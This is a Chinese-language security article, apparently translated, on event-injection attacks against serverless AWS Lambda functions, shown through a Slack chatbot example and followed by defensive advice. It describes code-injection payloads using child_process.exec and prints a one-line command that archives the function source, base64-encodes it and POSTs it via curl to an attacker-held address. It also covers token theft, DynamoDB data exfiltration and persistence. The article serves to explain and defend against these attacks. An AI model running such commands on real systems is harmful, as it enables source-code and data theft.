即將發(fā)布的報(bào)告將通過在無服務(wù)器環(huán)境“演練”著名的OWASP Top 10 project來評(píng)估其風(fēng)險(xiǎn)，解釋并演示在無服務(wù)器環(huán)境中，這些攻擊途徑、防御技術(shù)和業(yè)務(wù)影響會(huì)帶來哪些變化。

本文是我們的系列文章中的第一篇，本文不僅會(huì)為讀者介紹來自傳統(tǒng)的、單體（monolithic）世界中的已知風(fēng)險(xiǎn)，同時(shí)，還會(huì)為大家介紹我們將面臨的一些新的風(fēng)險(xiǎn)。需要說明的是，本文將通過攻擊者和防御者兩個(gè)角度來演示我們所面臨的新型攻擊技術(shù)。

這篇文章討論了可能是變化最大、也是最令人擔(dān)憂的一種攻擊技術(shù)——注入攻擊。

SQL注入、OS命令注入、代碼注入等攻擊手法，常常是黑客們的最愛，因?yàn)樗鼈兺ǔ?huì)無往不勝。但是，站在防御者這一邊，情況就大為不同了。這些攻擊方法總是被認(rèn)為是頭號(hào)風(fēng)險(xiǎn)，并且通常會(huì)盡一切努力來防御它們。不過，雖然單體應(yīng)用程序的發(fā)展至少已經(jīng)有20個(gè)年頭了，我們?nèi)匀唤?jīng)常聽說其中又爆出巨大的安全漏洞，使得攻擊者能夠插入惡意代碼，隨之而來的，便是正式的致歉新聞稿，以及客戶在相關(guān)頁面上留下的幾十萬條的抱怨留言。由此看來，我們一直都沒有“學(xué)乖”。

實(shí)際上，在以前的環(huán)境中，防御注入攻擊要更容易一些。在采用無服務(wù)器架構(gòu)之前，注入攻擊基本上（現(xiàn)在仍然）都具有相同的攻擊套路。它們主要是應(yīng)用程序?qū)τ趤碜跃W(wǎng)絡(luò)的不可信來源的輸入內(nèi)容處理不當(dāng)所致。

現(xiàn)在，上面這句話只能說是部分正確，但在無服務(wù)器架構(gòu)中，“網(wǎng)絡(luò)”是一個(gè)更加復(fù)雜的術(shù)語。在無服務(wù)器架構(gòu)中，函數(shù)通常是通過事件觸發(fā)的，而事件幾乎可以是基礎(chǔ)設(shè)施提供的任何服務(wù)，如云存儲(chǔ)、電子郵件或通知，等等。

這意味著編寫安全代碼時(shí)，我們不能再依賴于在網(wǎng)絡(luò)邊界上實(shí)施的安全控制了。這是真的：我們無法在收到的電子郵件與其觸發(fā)的功能之間設(shè)置防火墻。對(duì)于我們的代碼來說，我們既無法知道其運(yùn)行當(dāng)下的情況，也不知道之前發(fā)生了什么，更不知道它將走向何方。也就是說，它們只是一堆代碼而已。如果函數(shù)的代碼容易受到某種類型的注入攻擊，在無服務(wù)器架構(gòu)的世界中，它通常被稱為事件注入漏洞。

好了，讓我們看看它到底是什么樣子吧。

現(xiàn)在，請(qǐng)考慮以下簡(jiǎn)單的無服務(wù)器架構(gòu)場(chǎng)景:

1.用戶與Slack聊天機(jī)器人頻道進(jìn)行交互

2.用戶消息被發(fā)送到Slack后端

3.Slack后端被配置為向公司API網(wǎng)關(guān)發(fā)送消息

4.該請(qǐng)求通過事件觸發(fā)一組Lambda函數(shù)

5.其中一個(gè)lambda函數(shù)用于將消息寫入動(dòng)態(tài)數(shù)據(jù)庫表

6.然后，向Slack后端發(fā)送自動(dòng)回復(fù)

7.這樣，就會(huì)把請(qǐng)求作為Slack機(jī)器人發(fā)布到指定的頻道上

在我們的示例中，事件注入攻擊是可能的，因?yàn)橥ㄟ^Slack事件觸發(fā)的Lambda函數(shù)容易受到代碼注入漏洞的影響。在AWS上，大多數(shù)函數(shù)都在運(yùn)行動(dòng)態(tài)語言(如Python或NodeJS語言)，這可能導(dǎo)致運(yùn)行完全不同的代碼，而非原始代碼——RCE風(fēng)格的攻擊。

如您所見，上面的代碼(在野外經(jīng)常被發(fā)現(xiàn))使用了eval()函數(shù)來解析事件中的JSON數(shù)據(jù)，我們都知道(我們真的知道嗎？)，這本來是應(yīng)該極力避免的。然而，這僅僅是一個(gè)例子，任何含有其他類型安全漏洞的代碼都面臨著被攻擊的風(fēng)險(xiǎn)。

在驗(yàn)證漏洞（任何sleep或curl技術(shù)都可以）之后，攻擊者就可以著手攻擊這個(gè)無服務(wù)器環(huán)境了。當(dāng)然，環(huán)境中的大多數(shù)文件都不會(huì)引起攻擊者的興趣。因此，我們最終可以忘記/etc/passwd示例。實(shí)際上，這些文件屬于環(huán)境容器，并且大多數(shù)在應(yīng)用程序中沒有起到重要的作用。但是，它們還可以提供其他方面的線索。例如，通過訪問環(huán)境，攻擊者可以通過注入以下payload來竊取完整的函數(shù)代碼：

下面，我們來簡(jiǎn)單解釋一下。其中，_$$ND_FUNC$$_ 是將數(shù)據(jù)視為函數(shù)的代碼模式。由于函數(shù)運(yùn)行NodeJS語言的代碼，所以，我們可以使用require(“child_process”).exec() 來執(zhí)行新進(jìn)程。這允許攻擊者執(zhí)行在函數(shù)容器上運(yùn)行的任何進(jìn)程。這里不會(huì)深入講解AWS Lambda的內(nèi)部機(jī)制，我們只需要知道，當(dāng)啟動(dòng)NodeJS函數(shù)時(shí)，可以在運(yùn)行目錄的容器上找到相應(yīng)的代碼。這意味著攻擊者可以直接將代碼壓縮到/tmp（環(huán)境中唯一的非只讀文件夾）下面，進(jìn)行base64編碼，并將其發(fā)送到自己有權(quán)訪問的地方，例如tar -pcvzf /tmp/source.tar.gz ./; b=`base64 –wrap=0 /tmp/source.tar.gz`; curl -X POST $l4 –data $b。

效果如何？

實(shí)際上，用不了一分鐘的時(shí)間，攻擊者就可以獲得完整的函數(shù)代碼:

通過觀察代碼，發(fā)現(xiàn)它好像是用來查看Slack請(qǐng)求的:

即使無法從代碼中讀取環(huán)境變量值，攻擊者也可以直接使用它們，因?yàn)樗鼈兪黔h(huán)境的組成部分。

最終，攻擊者可以通過注入代碼來修改原始機(jī)器人的行為。在下面的示例中，我們可以看到攻擊者是如何通過惡意payload修改機(jī)器人的化身，并打印原始的ICON_URL (很明顯，竊取BOT_TOKEN本身可能會(huì)導(dǎo)致部分接管Slack帳戶) 的:

當(dāng)然，攻擊者也可以注入使用提供程序API的代碼，例如AWS-SDK。這樣的話，將允許攻擊者與該帳戶下的其他資源進(jìn)行交互。例如，由于易受攻擊的函數(shù)會(huì)從某個(gè)DynamoDB表讀取數(shù)據(jù)，因此，攻擊者可以使用DynamoDB.DocumentClient.scan()函數(shù)以及代碼中已有的表數(shù)據(jù)，從同一個(gè)表中讀取信息，并利用Slack通道發(fā)送竊取的數(shù)據(jù)：

但是，通過Slack攻擊無服務(wù)器函數(shù)，只是針對(duì)應(yīng)用程序生命周期的新型攻擊途徑之一。此外，攻擊者還可以通過電子郵件（主題、附件或標(biāo)題）、MQTT發(fā)布/訂閱消息、云存儲(chǔ)事件（文件上傳/下載等）、隊(duì)列、日志、代碼提交或任何可以觸發(fā)我們代碼的其他事件來發(fā)動(dòng)這種攻擊。

當(dāng)然，這種攻擊的影響還是有所不同的。由于沒有服務(wù)器，因此，也就無法接管服務(wù)器了。但是，盡管在我們的示例中，攻擊者能夠讀取代碼、模擬函數(shù)、從數(shù)據(jù)庫中竊取數(shù)據(jù)并入侵該slack賬戶，但根據(jù)易受攻擊函數(shù)的權(quán)限的不同，在某些情況下，可能會(huì)導(dǎo)致云賬戶被完全接管(我們將在后續(xù)文章中加以介紹，敬請(qǐng)關(guān)注！)。如果該函數(shù)能夠訪問其他資源，那么，只需注入相應(yīng)的代碼即可。

那么，我們應(yīng)該如何防范這種攻擊呢？不是所有的事情都需要改變。大多數(shù)傳統(tǒng)的最佳實(shí)踐也適用于無服務(wù)器架構(gòu)環(huán)境。永遠(yuǎn)不要信任輸入或?qū)斎氲暮戏ㄐ宰龀鋈魏渭僭O(shè)，使用安全的API，并嘗試以執(zhí)行任務(wù)所需的最低權(quán)限運(yùn)行代碼，以減少攻擊面。此外，開發(fā)人員還必須接受編寫安全代碼所需的相關(guān)培訓(xùn)——現(xiàn)實(shí)告訴我們，這是不可能的。

然而，作為人類，我們非常容易出錯(cuò)的。因此，我們必須找到一種自動(dòng)化的方法，來進(jìn)行預(yù)防。但是，如果沒有一個(gè)布防的邊界，我們?cè)撊绾问呛媚兀?/p>

我們認(rèn)為，無服務(wù)器架構(gòu)環(huán)境的防御控制機(jī)制，也應(yīng)該是基于無服務(wù)器架構(gòu)的。否則，我們會(huì)失去轉(zhuǎn)移到無服務(wù)器環(huán)境中的一切。一位智者曾經(jīng)說過，就像我們不能用劍來保護(hù)我們的宇宙飛船一樣，我們也不能用舊技術(shù)來保護(hù)新技術(shù)。無服務(wù)器架構(gòu)的防御機(jī)制應(yīng)該是短暫的，它將與其保護(hù)的代碼一起生死存亡。

此外，還有其他方面的一些因素，使得無服務(wù)器架構(gòu)下的注入攻擊不同于傳統(tǒng)的注入攻擊。我們已經(jīng)討論過一些，比如不同類型的輸入源、大多數(shù)動(dòng)態(tài)語言以及環(huán)境中的相關(guān)(和無關(guān))文件。同時(shí)，還有其他方面的區(qū)別。例如，無服務(wù)器函數(shù)的生存時(shí)間通常只有幾秒到幾分鐘。在這樣的環(huán)境中，攻擊該如何實(shí)現(xiàn)持續(xù)化呢？正常的攻擊肯定會(huì)持續(xù)到函數(shù)失效，攻擊者可能不得不重復(fù)發(fā)動(dòng)攻擊，這會(huì)導(dǎo)致被發(fā)現(xiàn)的概率增大。然而，該攻擊還有其他實(shí)現(xiàn)持久化的方式。一種方法是直接維持容器的“體溫”，這意味著攻擊者每隔幾分鐘就會(huì)觸發(fā)一次事件，以確保容器繼續(xù)運(yùn)行。另一種方法是注入payload來修改函數(shù)的源代碼，這些將在后面的文章中詳解介紹。這種方法將導(dǎo)致所有新容器都將與惡意代碼一起運(yùn)行，從而導(dǎo)致環(huán)境被攻擊者長(zhǎng)期占據(jù)。